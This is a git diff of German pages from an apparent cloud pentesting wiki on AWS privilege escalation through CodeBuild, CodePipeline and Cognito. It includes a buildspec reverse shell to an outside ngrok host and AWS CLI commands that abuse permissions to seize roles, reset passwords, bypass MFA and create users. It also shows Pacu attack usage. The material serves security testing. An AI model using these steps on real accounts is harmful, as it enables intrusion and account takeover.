+Ein Angreifer, der einen Build eines bestimmten CodeBuild-Projekts starten oder neu starten kann, das seine `buildspec.yml`-Datei in einem S3-Bucket speichert, auf den der Angreifer Schreibzugriff hat, kann Befehlsausführung im CodeBuild-Prozess erlangen.
 
-Hinweis: Die Eskalation ist nur relevant, wenn der CodeBuild-Arbeiter eine andere Rolle hat, hoffentlich mit mehr Berechtigungen, als die des Angreifers.
+Hinweis: Die Eskalation ist nur relevant, wenn der CodeBuild-Worker eine andere Rolle hat — idealerweise mit höheren Rechten — als die des Angreifers.
 ```bash
 aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
 
@@ -342,7 +342,7 @@ aws codebuild start-build --project-name <project-name>
 
 # Wait for the reverse shell :)
 ```
-Sie können etwas wie dieses **buildspec** verwenden, um eine **reverse shell** zu erhalten:
+Sie können so etwas wie dieses **buildspec** verwenden, um eine **reverse shell** zu erhalten:
 ```yaml:buildspec.yml
 version: 0.2
 
@@ -351,13 +351,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**Auswirkungen:** Direkte Privilegieneskalation zu der Rolle, die vom AWS CodeBuild-Arbeiter verwendet wird, die normalerweise hohe Berechtigungen hat.
+**Auswirkung:** Direkter privesc auf die Rolle, die vom AWS CodeBuild worker verwendet wird und normalerweise hohe Privilegien besitzt.
 
 > [!WARNING]
-> Beachten Sie, dass das buildspec im Zip-Format erwartet werden könnte, sodass ein Angreifer herunterladen, entpacken, die `buildspec.yml` im Stammverzeichnis ändern, erneut zippen und hochladen müsste.
+> Beachten Sie, dass das buildspec möglicherweise im ZIP-Format erwartet wird, sodass ein Angreifer es herunterladen, entpacken, die `buildspec.yml` aus dem Stammverzeichnis ändern, wieder zippen und hochladen müsste
 
-Weitere Details finden Sie [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
+Mehr Details finden sich [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
 
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu angehängten AWS Codebuild-Rollen.
+**Potenzielle Auswirkung:** Direkter privesc auf angehängte AWS Codebuild-Rollen.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
deleted file mode 100644
index beedb808b..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - Codepipeline Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## codepipeline
-
-Für weitere Informationen zu codepipeline siehe:
-
-{{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
-{{#endref}}
-
-### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-
-Beim Erstellen einer Code-Pipeline können Sie eine **codepipeline IAM-Rolle angeben, die ausgeführt werden soll**, daher könnten Sie diese kompromittieren.
-
-Neben den vorherigen Berechtigungen benötigen Sie **Zugriff auf den Ort, an dem der Code gespeichert ist** (S3, ECR, github, bitbucket...)
-
-Ich habe dies getestet, indem ich den Prozess auf der Webseite durchgeführt habe. Die zuvor angegebenen Berechtigungen sind die nicht List/Get-Berechtigungen, die benötigt werden, um eine Code-Pipeline zu erstellen, aber um sie im Web zu erstellen, benötigen Sie auch: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
-
-Während der **Erstellung des Build-Projekts** können Sie einen **Befehl angeben, der ausgeführt werden soll** (rev shell?) und die Build-Phase als **privilegierter Benutzer** ausführen, das ist die Konfiguration, die der Angreifer benötigt, um zu kompromittieren:
-
-![](<../../../images/image (276).png>)
-
-![](<../../../images/image (181).png>)
-
-### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
-
-Es könnte möglich sein, die verwendete Rolle und den auf einer Code-Pipeline ausgeführten Befehl mit den vorherigen Berechtigungen zu ändern.
-
-### `codepipeline:pollforjobs`
-
-[AWS erwähnt](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
-
-> Wenn diese API aufgerufen wird, gibt CodePipeline **temporäre Anmeldeinformationen für den S3-Bucket** zurück, der zum Speichern von Artefakten für die Pipeline verwendet wird, wenn die Aktion Zugriff auf diesen S3-Bucket für Eingabe- oder Ausgabeartefakte benötigt. Diese API gibt auch **alle geheimen Werte zurück, die für die Aktion definiert sind**.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
new file mode 100644
index 000000000..456f605f4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
@@ -0,0 +1,37 @@
+# AWS - Codepipeline Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## codepipeline
+
+Für mehr Infos zu codepipeline siehe:
+
+{{#ref}}
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
+
+Beim Erstellen einer Code-Pipeline kann man eine **codepipeline IAM Role to run** angeben, daher könnte man diese kompromittieren.
+
+Abgesehen von den zuvor genannten Berechtigungen benötigt man **Zugriff auf den Ort, an dem der Code gespeichert ist** (S3, ECR, github, bitbucket...)
+
+Ich habe das getestet, indem ich den Prozess über die Webseite durchgeführt habe. Die zuvor genannten Berechtigungen sind die nicht-List/Get-Berechtigungen, die zum Erstellen einer codepipeline benötigt werden, aber um sie über das Web zu erstellen, benötigt man außerdem: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
+
+Während der **Erstellung des Build-Projekts** kann man einen **auszuführenden Befehl** angeben (rev shell?) und die Build-Phase als **privilegierter Benutzer** ausführen lassen; genau diese Konfiguration benötigt ein Angreifer, um zu kompromittieren:
+
+![](<../../../images/image (276).png>)
+
+![](<../../../images/image (181).png>)
+
+### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
+
+Mit den vorherigen Berechtigungen könnte es möglich sein, die verwendete Rolle und den in einer codepipeline ausgeführten Befehl zu ändern.
+
+### `codepipeline:pollforjobs`
+
+[AWS erwähnt](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
+
+> Wenn diese API aufgerufen wird, gibt CodePipeline **temporäre Zugangsdaten für den S3-Bucket zurück**, der zum Speichern der Artefakte für die Pipeline verwendet wird, falls die Aktion Zugriff auf diesen S3-Bucket für Eingabe- oder Ausgabe-Artefakte benötigt. Diese API **gibt außerdem alle für die Aktion definierten geheimen Werte zurück**.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
deleted file mode 100644
index 44faba0ba..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ /dev/null
@@ -1,274 +0,0 @@
-# AWS - Cognito Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Für weitere Informationen über Cognito siehe:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Sammeln von Anmeldeinformationen aus dem Identity Pool
-
-Da Cognito **IAM-Rollenanmeldeinformationen** sowohl an **authentifizierte** als auch an **unauthentifizierte** **Benutzer** vergeben kann, kannst du, wenn du die **Identity Pool ID** einer Anwendung findest (sollte darin hardcodiert sein), neue Anmeldeinformationen erhalten und somit privesc (innerhalb eines AWS-Kontos, in dem du wahrscheinlich zuvor keine Anmeldeinformationen hattest).
-
-Für weitere Informationen [**siehe diese Seite**](../aws-unauthenticated-enum-access/#cognito).
-
-**Potenzielle Auswirkungen:** Direkter privesc auf die Dienstrolle, die an unauthentifizierte Benutzer angehängt ist (und wahrscheinlich auch an die, die an authentifizierte Benutzer angehängt ist).
-
-### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
-
-Mit dieser Berechtigung kannst du **jede Cognito-Rolle** an die authentifizierten/unauthentifizierten Benutzer der Cognito-App vergeben.
-```bash
-aws cognito-identity set-identity-pool-roles \
---identity-pool-id <identity_pool_id> \
---roles unauthenticated=<role ARN>
-
-# Get credentials
-## Get one ID
-aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
-## Get creds for that id
-aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
-```
-Wenn die Cognito-App **keine nicht authentifizierten Benutzer aktiviert hat**, benötigen Sie möglicherweise auch die Berechtigung `cognito-identity:UpdateIdentityPool`, um sie zu aktivieren.
-
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder Cognito-Rolle.
-
-### `cognito-identity:update-identity-pool`
-
-Ein Angreifer mit dieser Berechtigung könnte beispielsweise einen Cognito-Benutzerpool unter seiner Kontrolle oder einen anderen Identitätsanbieter festlegen, bei dem er sich anmelden kann, **um auf diesen Cognito-Identitätspool zuzugreifen**. Dann wird ihm nur die **Anmeldung** bei diesem Benutzeranbieter **ermöglichen, auf die konfigurierte authentifizierte Rolle im Identitätspool zuzugreifen**.
-```bash
-# This example is using a Cognito User Pool as identity provider
-## but you could use any other identity provider
-aws cognito-identity update-identity-pool \
---identity-pool-id <value> \
---identity-pool-name <value> \
-[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
---cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
-
-# Now you need to login to the User Pool you have configured
-## after having the id token of the login continue with the following commands:
-
-# In this step you should have already an ID Token
-aws cognito-identity get-id \
---identity-pool-id <id_pool_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
-
-# Get the identity_id from thr previous commnad response
-aws cognito-identity get-credentials-for-identity \
---identity-id <identity_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
-```
-Es ist auch möglich, diese Berechtigung zu **missbrauchen, um eine grundlegende Authentifizierung zu ermöglichen**:
-```bash
-aws cognito-identity update-identity-pool \
---identity-pool-id <value> \
---identity-pool-name <value> \
---allow-unauthenticated-identities
---allow-classic-flow
-```
-**Potenzielle Auswirkungen**: Kompromittierung der konfigurierten authentifizierten IAM-Rolle innerhalb des Identitätspools.
-
-### `cognito-idp:AdminAddUserToGroup`
-
-Diese Berechtigung erlaubt es, **einen Cognito-Benutzer zu einer Cognito-Gruppe hinzuzufügen**, daher könnte ein Angreifer diese Berechtigung missbrauchen, um einen Benutzer unter seiner Kontrolle zu anderen Gruppen mit **besseren** Berechtigungen oder **anderen IAM-Rollen** hinzuzufügen:
-```bash
-aws cognito-idp admin-add-user-to-group \
---user-pool-id <value> \
---username <value> \
---group-name <value>
-```
-**Potenzielle Auswirkungen:** Privesc zu anderen Cognito-Gruppen und IAM-Rollen, die an Benutzerpoolgruppen angehängt sind.
-
-### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
-
-Ein Angreifer mit diesen Berechtigungen könnte **Gruppen erstellen/aktualisieren** mit **jeder IAM-Rolle, die von einem kompromittierten Cognito Identity Provider verwendet werden kann**, und einen kompromittierten Benutzer Teil der Gruppe machen, wodurch auf all diese Rollen zugegriffen werden kann:
-```bash
-aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
-```
-**Potenzielle Auswirkungen:** Privesc zu anderen Cognito IAM-Rollen.
-
-### `cognito-idp:AdminConfirmSignUp`
-
-Diese Berechtigung ermöglicht es, **eine Anmeldung zu bestätigen**. Standardmäßig kann sich jeder in Cognito-Anwendungen anmelden. Wenn das so bleibt, könnte ein Benutzer ein Konto mit beliebigen Daten erstellen und es mit dieser Berechtigung verifizieren.
-```bash
-aws cognito-idp admin-confirm-sign-up \
---user-pool-id <value> \
---username <value>
-```
-**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer, wenn Sie einen neuen Benutzer registrieren können. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem Sie jedes Konto bestätigen können.
-
-### `cognito-idp:AdminCreateUser`
-
-Diese Berechtigung würde es einem Angreifer ermöglichen, einen neuen Benutzer im Benutzerpool zu erstellen. Der neue Benutzer wird als aktiviert erstellt, muss jedoch sein Passwort ändern.
-```bash
-aws cognito-idp admin-create-user \
---user-pool-id <value> \
---username <value> \
-[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
-[--validation-data <value>]
-[--temporary-password <value>]
-```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem man in der Lage ist, jeden Benutzer zu erstellen.
-
-### `cognito-idp:AdminEnableUser`
-
-Diese Berechtigungen können in einem sehr speziellen Szenario hilfreich sein, in dem ein Angreifer die Anmeldeinformationen eines deaktivierten Benutzers gefunden hat und er ihn **wieder aktivieren** muss.
-```bash
-aws cognito-idp admin-enable-user \
---user-pool-id <value> \
---username <value>
-```
-**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer und Berechtigungen des Benutzers, wenn der Angreifer Anmeldeinformationen für einen deaktivierten Benutzer hatte.
-
-### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
-
-Diese Berechtigung ermöglicht die Anmeldung mit der [**Methode ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Für weitere Informationen folgen Sie dem Link.
-
-### `cognito-idp:AdminSetUserPassword`
-
-Diese Berechtigung würde es einem Angreifer ermöglichen, **das Passwort eines beliebigen Benutzers zu ändern**, wodurch er in der Lage wäre, sich als beliebiger Benutzer auszugeben (der keine MFA aktiviert hat).
-```bash
-aws cognito-idp admin-set-user-password \
---user-pool-id <value> \
---username <value> \
---password <value> \
---permanent
-```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu potenziell jedem Benutzer, sodass Zugriff auf alle Gruppen, in denen jeder Benutzer Mitglied ist, und Zugriff auf die authentifizierte IAM-Rolle des Identity Pools besteht.
-
-### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
-
-**AdminSetUserSettings**: Ein Angreifer könnte diese Berechtigung potenziell missbrauchen, um ein Mobiltelefon unter seiner Kontrolle als **SMS MFA eines Benutzers** festzulegen.
-```bash
-aws cognito-idp admin-set-user-settings \
---user-pool-id <value> \
---username <value> \
---mfa-options <value>
-```
-**SetUserMFAPreference:** Ähnlich wie die vorherige Berechtigung kann diese Berechtigung verwendet werden, um die MFA-Präferenzen eines Benutzers festzulegen, um den MFA-Schutz zu umgehen.
-```bash
-aws cognito-idp admin-set-user-mfa-preference \
-[--sms-mfa-settings <value>] \
-[--software-token-mfa-settings <value>] \
---username <value> \
---user-pool-id <value>
-```
-**SetUserPoolMfaConfig**: Ähnlich wie die vorherige Berechtigung kann diese Berechtigung verwendet werden, um die MFA-Präferenzen eines Benutzerpools festzulegen, um den MFA-Schutz zu umgehen.
-```bash
-aws cognito-idp set-user-pool-mfa-config \
---user-pool-id <value> \
-[--sms-mfa-configuration <value>] \
-[--software-token-mfa-configuration <value>] \
-[--mfa-configuration <value>]
-```
-**UpdateUserPool:** Es ist auch möglich, den Benutzerpool zu aktualisieren, um die MFA-Richtlinie zu ändern. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
-
-**Potential Impact:** Indirekte Privilegieneskalation zu potenziell jedem Benutzer, dessen Anmeldeinformationen der Angreifer kennt, dies könnte es ermöglichen, den MFA-Schutz zu umgehen.
-
-### `cognito-idp:AdminUpdateUserAttributes`
-
-Ein Angreifer mit dieser Berechtigung könnte die E-Mail-Adresse oder Telefonnummer oder ein anderes Attribut eines Benutzers unter seiner Kontrolle ändern, um zu versuchen, mehr Privilegien in einer zugrunde liegenden Anwendung zu erhalten.\
-Dies ermöglicht es, eine E-Mail-Adresse oder Telefonnummer zu ändern und sie als verifiziert festzulegen.
-```bash
-aws cognito-idp admin-update-user-attributes \
---user-pool-id <value> \
---username <value> \
---user-attributes <value>
-```
-**Potenzielle Auswirkungen:** Potenzieller indirekter Privilegienausbau in der zugrunde liegenden Anwendung, die Cognito User Pool verwendet und Privilegien basierend auf Benutzerattributen gewährt.
-
-### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-
-Ein Angreifer mit dieser Berechtigung könnte **einen neuen User Pool Client erstellen, der weniger eingeschränkt ist** als bereits vorhandene Pool-Clients. Zum Beispiel könnte der neue Client jede Art von Methode zur Authentifizierung zulassen, kein Geheimnis haben, die Token-Widerrufung deaktiviert haben und Tokens für einen längeren Zeitraum gültig sein lassen...
-
-Das gleiche kann getan werden, wenn anstatt einen neuen Client zu erstellen, ein **bestehender modifiziert wird**.
-
-In der [**Befehlszeile**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (oder dem [**Update**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) können Sie alle Optionen sehen, überprüfen Sie es!
-```bash
-aws cognito-idp create-user-pool-client \
---user-pool-id <value> \
---client-name <value> \
-[...]
-```
-**Potenzielle Auswirkungen:** Potenzieller indirekter Privilegienausstieg zum Identity Pool autorisierter Benutzer, der vom User Pool verwendet wird, indem ein neuer Client erstellt wird, der die Sicherheitsmaßnahmen lockert und es einem Angreifer ermöglicht, sich mit einem Benutzer anzumelden, den er erstellen konnte.
-
-### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
-
-Ein Angreifer könnte diese Berechtigung missbrauchen, um Benutzer zu erstellen, indem er eine CSV mit neuen Benutzern hochlädt.
-```bash
-# Create a new import job
-aws cognito-idp create-user-import-job \
---job-name <value> \
---user-pool-id <value> \
---cloud-watch-logs-role-arn <value>
-
-# Use a new import job
-aws cognito-idp start-user-import-job \
---user-pool-id <value> \
---job-id <value>
-
-# Both options before will give you a URL where you can send the CVS file with the users to create
-curl -v -T "PATH_TO_CSV_FILE" \
--H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
-```
-(Im Falle, dass Sie einen neuen Importauftrag erstellen, benötigen Sie möglicherweise auch die iam passrole-Berechtigung, ich habe es noch nicht getestet).
-
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem Sie jeden Benutzer erstellen können.
-
-### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
-
-Ein Angreifer könnte einen neuen Identitätsanbieter erstellen, um dann **über diesen Anbieter einloggen** zu können.
-```bash
-aws cognito-idp create-identity-provider \
---user-pool-id <value> \
---provider-name <value> \
---provider-type <value> \
---provider-details <value> \
-[--attribute-mapping <value>] \
-[--idp-identifiers <value>]
-```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem beliebige Benutzer erstellt werden können.
-
-### cognito-sync:\* Analyse
-
-Dies ist eine sehr häufige Berechtigung, die standardmäßig in Rollen von Cognito Identity Pools vorhanden ist. Auch wenn ein Wildcard in Berechtigungen immer schlecht aussieht (insbesondere von AWS), sind die **gegebenen Berechtigungen aus der Sicht eines Angreifers nicht besonders nützlich**.
-
-Diese Berechtigung erlaubt das Lesen von Benutzerinformationen der Identitätspools und Identitäts-IDs innerhalb der Identitätspools (was keine sensiblen Informationen sind).\
-Identitäts-IDs könnten [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) zugewiesen sein, die Informationen über die Sitzungen enthalten (AWS definiert es als **gespeichertes Spiel**). Es könnte möglich sein, dass dies eine Art von sensiblen Informationen enthält (aber die Wahrscheinlichkeit ist ziemlich gering). Sie können auf der [**Aufzählungsseite**](../aws-services/aws-cognito-enum/) nachlesen, wie Sie auf diese Informationen zugreifen können.
-
-Ein Angreifer könnte auch diese Berechtigungen nutzen, um **sich selbst in einen Cognito-Stream einzuschreiben, der Änderungen an diesen Datasets veröffentlicht** oder eine **Lambda-Funktion, die bei Cognito-Ereignissen ausgelöst wird**. Ich habe nicht gesehen, dass dies verwendet wird, und ich würde hier keine sensiblen Informationen erwarten, aber es ist nicht unmöglich.
-
-### Automatische Tools
-
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), das AWS-Exploitation-Framework, enthält jetzt die Module "cognito\_\_enum" und "cognito\_\_attack", die die Aufzählung aller Cognito-Ressourcen in einem Konto automatisieren und schwache Konfigurationen, Benutzerattribute, die für die Zugriffskontrolle verwendet werden, usw. kennzeichnen, sowie die Benutzererstellung (einschließlich MFA-Unterstützung) und Privilegieneskalation basierend auf modifizierbaren benutzerdefinierten Attributen, verwendbaren Identitätspool-Anmeldeinformationen, übernehmbaren Rollen in ID-Token usw. automatisieren.
-
-Für eine Beschreibung der Funktionen der Module siehe Teil 2 des [Blogbeitrags](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Für Installationsanweisungen siehe die Hauptseite von [Pacu](https://github.com/RhinoSecurityLabs/pacu).
-
-#### Verwendung
-
-Beispiel für die Verwendung von cognito\_\_attack, um die Benutzererstellung und alle Privilegieneskalationsvektoren gegen einen bestimmten Identitätspool und Benutzerpool-Client zu versuchen:
-```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
-59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
-```
-Beispiel für die Verwendung von cognito\_\_enum, um alle Benutzerpools, Benutzerpool-Clients, Identitätspools, Benutzer usw. zu sammeln, die im aktuellen AWS-Konto sichtbar sind:
-```bash
-Pacu (new:test) > run cognito__enum
-```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) ist ein CLI-Tool in Python, das verschiedene Angriffe auf Cognito implementiert, einschließlich einer Privilegieneskalation.
-
-#### Installation
-```bash
-$ pip install cognito-scanner
-```
-#### Verwendung
-```bash
-$ cognito-scanner --help
-```
-Für weitere Informationen siehe [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
new file mode 100644
index 000000000..f1490c2a8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
@@ -0,0 +1,274 @@
+# AWS - Cognito Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Für mehr Infos zu Cognito siehe:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Sammeln von credentials aus dem Identity Pool
+
+Da Cognito **IAM role credentials** sowohl an **authenticated** als auch **unauthenticated** **users** ausgeben kann, kannst du, wenn du die **Identity Pool ID** einer Anwendung findest (sollte darin hardcoded sein), neue credentials erhalten und dadurch privesc erlangen (innerhalb eines AWS account, in dem du wahrscheinlich vorher keine credentials hattest).
+
+Für mehr Informationen [**siehe diese Seite**](../../aws-unauthenticated-enum-access/index.html#cognito).
+
+**Mögliche Auswirkungen:** Direkter privesc auf die Service-Rolle, die an unauth users angehängt ist (und wahrscheinlich auch auf die, die an auth users angehängt ist).
+
+### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
+
+Mit dieser Berechtigung kannst du **jede cognito role** den authenticated/unauthenticated users der cognito app zuweisen.
+```bash
+aws cognito-identity set-identity-pool-roles \
+--identity-pool-id <identity_pool_id> \
+--roles unauthenticated=<role ARN>
+
+# Get credentials
+## Get one ID
+aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
+## Get creds for that id
+aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
+```
+Wenn die cognito app **doesn't have unauthenticated users enabled** benötigst du möglicherweise außerdem die Berechtigung `cognito-identity:UpdateIdentityPool`, um sie zu aktivieren.
+
+**Mögliche Auswirkungen:** Direkter privesc auf jede cognito role.
+
+### `cognito-identity:update-identity-pool`
+
+Ein Angreifer mit dieser Berechtigung könnte zum Beispiel einen Cognito User Pool unter seiner Kontrolle oder einen beliebigen anderen identity provider einrichten, bei dem er sich anmelden kann — als **Möglichkeit, auf diesen Cognito Identity Pool zuzugreifen**. Dann reicht ein **login** bei diesem user provider, um ihm **den Zugriff auf die konfigurierte authenticated role im Identity Pool zu ermöglichen**.
+```bash
+# This example is using a Cognito User Pool as identity provider
+## but you could use any other identity provider
+aws cognito-identity update-identity-pool \
+--identity-pool-id <value> \
+--identity-pool-name <value> \
+[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
+--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
+
+# Now you need to login to the User Pool you have configured
+## after having the id token of the login continue with the following commands:
+
+# In this step you should have already an ID Token
+aws cognito-identity get-id \
+--identity-pool-id <id_pool_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+
+# Get the identity_id from thr previous commnad response
+aws cognito-identity get-credentials-for-identity \
+--identity-id <identity_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+```
+Es ist auch möglich, **diese Berechtigung zu missbrauchen, um basic auth zu erlauben**:
+```bash
+aws cognito-identity update-identity-pool \
+--identity-pool-id <value> \
+--identity-pool-name <value> \
+--allow-unauthenticated-identities
+--allow-classic-flow
+```
+**Mögliche Auswirkungen**: Kompromittierung der konfigurierten authentifizierten IAM role innerhalb des identity pool.
+
+### `cognito-idp:AdminAddUserToGroup`
+
+Diese Berechtigung erlaubt es, **einen Cognito user zu einer Cognito group hinzuzufügen**, daher könnte ein Angreifer diese Berechtigung missbrauchen, um einen unter seiner Kontrolle stehenden user zu anderen Gruppen mit **besseren** Privilegien oder **anderen IAM roles** hinzuzufügen:
+```bash
+aws cognito-idp admin-add-user-to-group \
+--user-pool-id <value> \
+--username <value> \
+--group-name <value>
+```
+**Mögliche Auswirkungen:** Privesc auf andere Cognito groups und IAM roles, die an User Pool Groups angehängt sind.
+
+### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
+
+Ein Angreifer mit diesen Berechtigungen könnte **Gruppen erstellen/aktualisieren** mit **jeder IAM role, die von einem kompromittierten Cognito Identity Provider verwendet werden kann**, und einen kompromittierten Benutzer Teil der Gruppe machen, um auf all diese Rollen zuzugreifen:
+```bash
+aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
+```
+**Potenzielle Auswirkung:** Privesc auf andere Cognito IAM roles.
+
+### `cognito-idp:AdminConfirmSignUp`
+
+Diese Berechtigung erlaubt das **Verifizieren einer Registrierung**. Standardmäßig kann sich jeder bei Cognito-Anwendungen registrieren; bleibt das so, könnte ein Benutzer ein Konto mit beliebigen Daten erstellen und es mit dieser Berechtigung verifizieren.
+```bash
+aws cognito-idp admin-confirm-sign-up \
+--user-pool-id <value> \
+--username <value>
+```
+**Mögliche Auswirkungen:** Indirektes privesc auf die identity pool IAM role für authenticated users, wenn ein Angreifer einen neuen Benutzer registrieren kann. Indirektes privesc auf andere App-Funktionalitäten, da er jedes Konto bestätigen kann.
+
+### `cognito-idp:AdminCreateUser`
+
+Diese Berechtigung würde einem Angreifer erlauben, einen neuen Benutzer innerhalb des user pool zu erstellen. Der neue Benutzer wird als aktiviert erstellt, muss jedoch sein Passwort ändern.
+```bash
+aws cognito-idp admin-create-user \
+--user-pool-id <value> \
+--username <value> \
+[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
+[--validation-data <value>]
+[--temporary-password <value>]
+```
+**Potentielle Auswirkungen:** Direkter privesc auf die identity pool IAM role für authentifizierte Benutzer. Indirekter privesc auf andere App-Funktionalitäten, die es ermöglichen, beliebige Benutzer zu erstellen
+
+### `cognito-idp:AdminEnableUser`
+
+Diese Berechtigung kann in einem sehr seltenen Szenario helfen, in dem ein Angreifer die Anmeldedaten eines deaktivierten Benutzers gefunden hat und diesen **wieder aktivieren** muss.
+```bash
+aws cognito-idp admin-enable-user \
+--user-pool-id <value> \
